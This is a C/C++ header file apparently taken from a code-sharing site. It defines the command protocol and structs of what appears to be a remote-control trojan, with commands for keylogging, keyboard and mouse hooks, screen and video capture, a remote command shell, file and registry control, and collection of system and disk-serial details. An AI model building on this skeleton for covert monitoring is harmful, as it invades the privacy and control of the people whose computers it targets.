comm.h
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:3k
源码类别:

网络截获/分析

开发平台:

Visual C++

  1. typedef struct tagSytemInit
  2. {
  3. char computer[32];
  4. char user[32];
  5. char os[72];
  6. char processor[16];
  7. char mem[16];
  8. char version[16]; //更改版本
  9.         char HDSerial[32];
  10. }SYSTEMINIT,*LPSYSTEMINIT;
  11. typedef struct tagLinkInfo {
  12.     SOCKET  s;
  13.     string  strBindIp;
  14.     u_short BindPort;
  15. }LINKINFO,*LPLINKINFO;
  16. #define CMD_NULL            100
  17. #define CMD_PROCESS_MANAGE  101
  18. #define CMD_SERVICE_MANAGE  102
  19. #define CMD_FILE_MANAGE     103
  20. #define CMD_REG_MANAGE      104
  21. #define CMD_SHELL_MANAGE    105
  22. #define CMD_SCREEN_MANAGE   106
  23. #define CMD_VIDEO_MANAGE    107
  24. #define CMD_KEYLOG_MANAGE   108
  25. #define CMD_PROCESS_KILL    109
  26. #define CMD_SERVICE_DEL     110
  27. #define CMD_FILE_GETSUBFILE 111
  28. #define CMD_KEY_HOOK        112
  29. #define CMD_MOUSE_HOOK      113
  30. #define CMD_MOUSE_DBHOOK    114
  31. #define CMD_KEY_CAD         115
  32. #define CMD_GET_SCREEN_INFO    118
  33. #define CMD_FILE_DEL           119
  34. #define CMD_CMDSHELL           120
  35. #define MY_END                 121
  36. #define CMD_KEYLOG_STOP        122
  37. #define CMD_RETRY              123
  38. typedef struct tagCommand
  39. {
  40. /////命令ID值//////
  41. int wCmd;
  42. /////后接数据大小//
  43. DWORD DataSize;
  44. char  tmp[32];
  45. char  szCurDir[260];
  46. BOOL  nRet;
  47. /////屏幕监控需要的参数//////
  48. CRect  rcArea;     //图象区域
  49. int  nBits;        //彩色位数
  50. int  nArea;      //固定是全屏   //区域设置  0)全屏   1)当前窗口 2)指定区域
  51. int  nCompress;  //固定是JPEG   //压缩方式  0)不压缩 1)Huffman  2)JPEG
  52. int  nJpegQ   ;  //固定是80     //Jpeg 的Q值
  53. DWORD  dwBmpSize;     //图象大小
  54. DWORD  dwFileSize;    //文件大小
  55. DWORD  dwBmpInfoSize; //图象信息
  56. DWORD  dwHookFlags;   //键盘、鼠标信息
  57. DWORD  dwHookParam1;
  58. DWORD  dwHookParam2;
  59. int     nCell;     //动态清零标志
  60. int    nDelay;    //每块延时
  61. }COMMAND,*LPCOMMAND;
  62. /**/
  63. typedef struct tagTmpSocket {
  64. SOCKET ClientSocket;
  65. //CString m_ip;
  66. char HDSerial[64];
  67. }TMPSOCKET,*LPTMPSOCKET;
  68. typedef struct tagServiceInfo{
  69. // DWORD num;
  70. char  ServiceName[32];
  71. char  ServiceDetail[128];
  72. char  ServiceState[16];
  73.     char  ServiceStartType[16];
  74. }SERVICEINFO,*LPSERVICEINFO;
  75. /*
  76. typedef struct tagDriver
  77. {
  78.    char szDriverName[500];
  79.    char szDriverLabel[500];
  80. //   UINT nDriverType;
  81. }DRIVER,*LPDRIVER;
  82. */
  83. typedef struct tagDriver
  84. {
  85. char driver[8];
  86. int  drivertype;
  87. BOOL end;
  88. }DRIVER;//硬盘结构体
  89. /*
  90. typedef struct tagFileInfo{
  91.   
  92.     TCHAR      pcFileName[ MAX_PATH ];
  93.     DWORD      pfsize ;
  94.     char       pfiletime[16];
  95.     UINT       IsDIR;
  96. }FILEINFO,*LPFILEINFO;
  97. */
  98. typedef struct tagFileInfo
  99. {
  100. BOOL invalidir;                       //无效目录
  101. char filename[128];                   //文件名
  102. int  filesize;                        //文件大小
  103. int  begin;                           //开始位置,多线程用
  104. int  stop;                            //结束位置,多线程用
  105. char time[32];                        //时间
  106. BOOL isdirectory;                     //是目录?
  107. BOOL next;       //还有下一个?
  108. }FILEINFO;//文件信息结构体